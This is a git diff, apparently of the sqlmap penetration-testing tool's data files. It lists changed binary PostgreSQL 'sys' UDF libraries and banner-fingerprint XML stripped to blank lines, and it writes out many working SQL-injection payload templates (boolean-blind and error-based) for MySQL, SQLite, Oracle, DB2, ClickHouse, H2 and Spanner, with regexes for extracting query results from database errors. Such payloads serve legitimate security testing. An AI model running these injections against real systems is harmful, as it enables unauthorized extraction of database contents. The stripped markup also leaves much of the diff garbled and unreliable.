43f7cdc55d9..b99ca82a6e1 100644 Binary files a/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ index 2c49149d0d5..a2cd6d0a489 100644 Binary files a/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ index f463ee7543d..06fb9c5c402 100644 Binary files a/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ index 147039a2542..7cccc431ae2 100644 Binary files a/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ index cf56372ea9a..c76da8447e0 100644 Binary files a/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ index 8ec4566eb7b..9277aae7a94 100644 Binary files a/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ index 310f838de53..24f3d59c232 100644 Binary files a/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ index 504be8277e3..6c91514f86f 100644 Binary files a/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ index 2e19b356e14..d824417f8d0 100644 Binary files a/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ index ee94408ecd4..9180a86f4ca 100644 Binary files a/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ index 8a61270ca7a..10fba3c2886 100644 Binary files a/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ index b1258cbe9a4..85f6ca870c0 100644 Binary files a/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ index 2c2e96ca70a..f69fbc0fe20 100644 Binary files a/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ index 2db355e267e..4ea7da48e19 100644 Binary files a/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ index 1335862f761..a4be1336c01 100644 Binary files a/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ index bb2b6f195b5..a3ec416225b 100644 Binary files a/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ index c730910de82..38ec17219dc 100644 Binary files a/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ index 6ddad36fa41..00d976ae754 100644 Binary files a/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ index 0f9bdf36280..596348cc317 100644 Binary files a/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ index 0f54d5136c7..a7ad6721419 100644 Binary files a/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ index a5bdf892ddc..332b7d83d89 100644 Binary files a/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ index bbe6aabf672..c45548dac19 100644 Binary files a/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ and b/data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ differ diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ index a05e36e8c95..5e8fafd2e86 100644 Binary files a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ index 7a03c0d0def..a7bd7d9cfca 100644 Binary files a/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ index eac654286bc..8dad9a0ebd5 100644 Binary files a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ differ diff --git a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ index 6bfd62c07d4..0b8fd2fea8e 100644 Binary files a/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ and b/data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_ differ diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index fc2fb97f59a..723d31bd527 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -3,7 +3,7 @@ - + @@ -34,7 +34,7 @@ - + @@ -151,6 +151,38 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -167,11 +199,22 @@ - + - - + + + + + + + + + + + + + diff --git a/data/xml/banner/mssql.xml b/data/xml/banner/mssql.xml index f3d5eceba51..9a0115003a2 100644 --- a/data/xml/banner/mssql.xml +++ b/data/xml/banner/mssql.xml @@ -1,5 +1,195 @@ + + + + + 16.0 + + + + + + + 16.0.1000.6 + + + 0 + + + + + + + 15.0 + + + + + + + 15.0.2000.5 + + + 0 + + + + + + + 14.0 + + + + + + + 14.0.1000.169 + + + 0 + + + + + + + 13.0 + + + + + + + 13.0.1601.5 + + + 0 + + + + + 13.0.4001.0 + + + 1 + + + + + 13.0.5026.0 + + + 2 + + + + + 13.0.6300.2 + + + 3 + + + + + + + 12.0 + + + + + + + 12.0.2000.8 + + + 0 + + + + + 12.0.4100.1 + + + 1 + + + + + 12.0.5000.0 + + + 2 + + + + + 12.0.6024.0 + + + 3 + + + + + + + 11.0 + + + + + + + 11.0.2100.60 + + + 0 + + + + + 11.0.3000.0 + + + 1 + + + + + 11.0.5058.0 + + + 2 + + + + + 11.0.6020.0 + + + 3 + + + + + 11.0.7001.0 + + + 4 + + + diff --git a/data/xml/banner/mysql.xml b/data/xml/banner/mysql.xml index 456c9510b82..1af92764548 100644 --- a/data/xml/banner/mysql.xml +++ b/data/xml/banner/mysql.xml @@ -3,6 +3,7 @@ @@ -76,4 +77,30 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/banner/set-cookie.xml b/data/xml/banner/set-cookie.xml index a9d8143d8b2..6f7bed59c02 100644 --- a/data/xml/banner/set-cookie.xml +++ b/data/xml/banner/set-cookie.xml @@ -62,4 +62,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/xml/banner/x-powered-by.xml b/data/xml/banner/x-powered-by.xml index 34ad03d18c2..f52fd9aad2a 100644 --- a/data/xml/banner/x-powered-by.xml +++ b/data/xml/banner/x-powered-by.xml @@ -62,4 +62,8 @@ + + + + diff --git a/data/xml/boundaries.xml b/data/xml/boundaries.xml index fb41a83c093..cea5457cdd6 100644 --- a/data/xml/boundaries.xml +++ b/data/xml/boundaries.xml @@ -437,18 +437,10 @@ Formats: 9 1 1 - +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM] - )+ - - - - 5 - 9 - 1 - 2 +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM] )+ + @@ -554,6 +546,15 @@ Formats: + + 5 + 7 + 1 + 3 + [RANDSTR1], + [RANDSTR2] + + 4 diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 59ae1e8e22a..ddf34d51e9a 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -9,13 +9,15 @@ + - + + @@ -28,12 +30,14 @@ - + + + @@ -78,6 +82,8 @@ + + @@ -105,7 +111,7 @@ - + @@ -123,6 +129,7 @@ + @@ -130,7 +137,7 @@ - + @@ -165,13 +172,14 @@ - + + @@ -211,8 +219,13 @@ + + + + + - + @@ -232,4 +245,22 @@ + + + + + + + + + + + + + + + + + + diff --git a/data/xml/payloads/boolean_blind.xml b/data/xml/payloads/boolean_blind.xml index 67cf9940d10..4fdd23cf1f4 100644 --- a/data/xml/payloads/boolean_blind.xml +++ b/data/xml/payloads/boolean_blind.xml @@ -484,18 +484,18 @@ Tag: - MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 1 1,2,3,8 1 - AND ([INFERENCE])*[RANDNUM] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - AND ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + AND EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -503,18 +503,18 @@ Tag: - MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int) + MySQL OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 1 5 3 - 1,2,3 + 1,2,3,8 2 - OR ([INFERENCE])*[RANDNUM] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([INFERENCE]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [RANDNUM] ELSE 0x3A END) - OR ([RANDNUM]=[RANDNUM1])*[RANDNUM1] + OR EXTRACTVALUE([RANDNUM],CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN [RANDNUM] ELSE 0x3A END)
MySQL @@ -596,6 +596,45 @@ Tag: Oracle
+ + + SQLite AND boolean-based blind - WHERE or HAVING clause (JSON) + 1 + 2 + 1 + 1 + 1 + AND CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + AND CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + AND CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ + + SQLite OR boolean-based blind - WHERE or HAVING clause (JSON) + 1 + 3 + 3 + 1 + 2 + OR CASE WHEN [INFERENCE] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + OR CASE WHEN [RANDNUM]=[RANDNUM] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + + + OR CASE WHEN [RANDNUM]=[RANDNUM1] THEN [RANDNUM] ELSE JSON('[RANDSTR]') END + +
+ SQLite +
+
+ @@ -1557,13 +1596,13 @@ Tag: 1 1-8 1 - ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [INFERENCE] THEN 1 ELSE NULL END FROM DUAL - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM] THEN 1 ELSE NULL END FROM DUAL -- - ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END + ;SELECT CASE WHEN [RANDNUM]=[RANDNUM1] THEN 1 ELSE NULL END FROM DUAL
SAP MaxDB diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml index f9505522f38..95fd4b40b7a 100644 --- a/data/xml/payloads/error_based.xml +++ b/data/xml/payloads/error_based.xml @@ -3,64 +3,108 @@ - MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) + MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 4 + 1 1 1,2,3,8,9 1 - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- - MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) + MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) 2 - 4 + 1 3 - 1,8,9 + 1,2,3,8,9 + 1 - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) + OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.5 + >= 5.1
- MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) + MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + 2 + 2 + 1 + 1,2,3,8,9 + 1 + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + 2 + 2 + 3 + 1,8,9 + 1 + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + + OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ MySQL + >= 5.6 +
+
+ + + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED) 2 4 1 1,2,3,8,9 1 - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -72,15 +116,20 @@ - MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) + + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED) 2 4 3 1,8,9 1 - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) - OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) + + OR (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610))) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] @@ -92,42 +141,42 @@ - MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET) + MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP) 2 4 1 1,2,3,8,9 1 - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 5.5
- MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET) + MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP) 2 4 3 1,8,9 1 - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM]) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x)) - OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM]) + OR EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))x)) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.6 + >= 5.5
@@ -175,7 +224,7 @@ MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 2 + 4 1 1,2,3,8,9 1 @@ -199,7 +248,7 @@ MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 2 + 4 3 1,2,3,8,9 @@ -222,51 +271,22 @@ - MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) + MySQL >= 5.0 (inline) error-based - Table name clause (FLOOR) 2 - 1 + 5 1 - 1,2,3,8,9 + 7 1 - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) - - - AND EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) - - - [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] - -
- MySQL - >= 5.1 -
-
- - - MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) - 2 - 1 - 3 - 1,2,3,8,9 - - 1 - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) - - OR EXTRACTVALUE([RANDNUM],CONCAT('\','[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]')) + (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
MySQL - >= 5.1 + >= 5.0
@@ -322,7 +342,7 @@ MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) 2 - 3 + 5 1 1,2,3,8,9 1 @@ -347,7 +367,7 @@ MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR) 2 - 3 + 5 3 1,8,9 1 @@ -372,7 +392,7 @@ MySQL OR error-based - WHERE or HAVING clause (FLOOR) 2 - 4 + 5 3 1,8,9 2 @@ -573,7 +593,7 @@ 3 1,9 2 - OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) + OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(REPLACE(REPLACE(REPLACE(REPLACE(([QUERY]),' ','[SPACE_REPLACE]'),'$','[DOLLAR_REPLACE]'),'@','[AT_REPLACE]'),'#','[HASH_REPLACE]'))||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) OR [RANDNUM]=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||'[DELIMITER_START]'||(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END) FROM DUAL)||'[DELIMITER_STOP]'||CHR(62))) FROM DUAL) @@ -838,7 +858,7 @@ IBM DB2 OR error-based - WHERE or HAVING clause 2 4 - 1 + 3 1 1 OR [RANDNUM]=RAISE_ERROR('70001','[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]') @@ -853,6 +873,119 @@
+ + ClickHouse AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 3 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') + + AND [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + ClickHouse OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=('[DELIMITER_START]'||CAST(([QUERY]) AS Nullable(String))||'[DELIMITER_STOP]') + + OR [RANDNUM]=('[DELIMITER_START]'||(CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]') + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ ClickHouse +
+
+ + + H2 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 1 + 1 + 1,2,3,9 + 1 + AND [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + AND [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ + + H2 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (CAST) + 2 + 4 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=CAST('[DELIMITER_START]'||([QUERY])||'[DELIMITER_STOP]' AS INT) + + OR [RANDNUM]=CAST('[DELIMITER_START]'||(SELECT CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)||'[DELIMITER_STOP]' AS INT) + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ H2 +
+
+ + + Spanner AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 1 + 1,2,3,8,9 + 1 + AND ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + AND ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
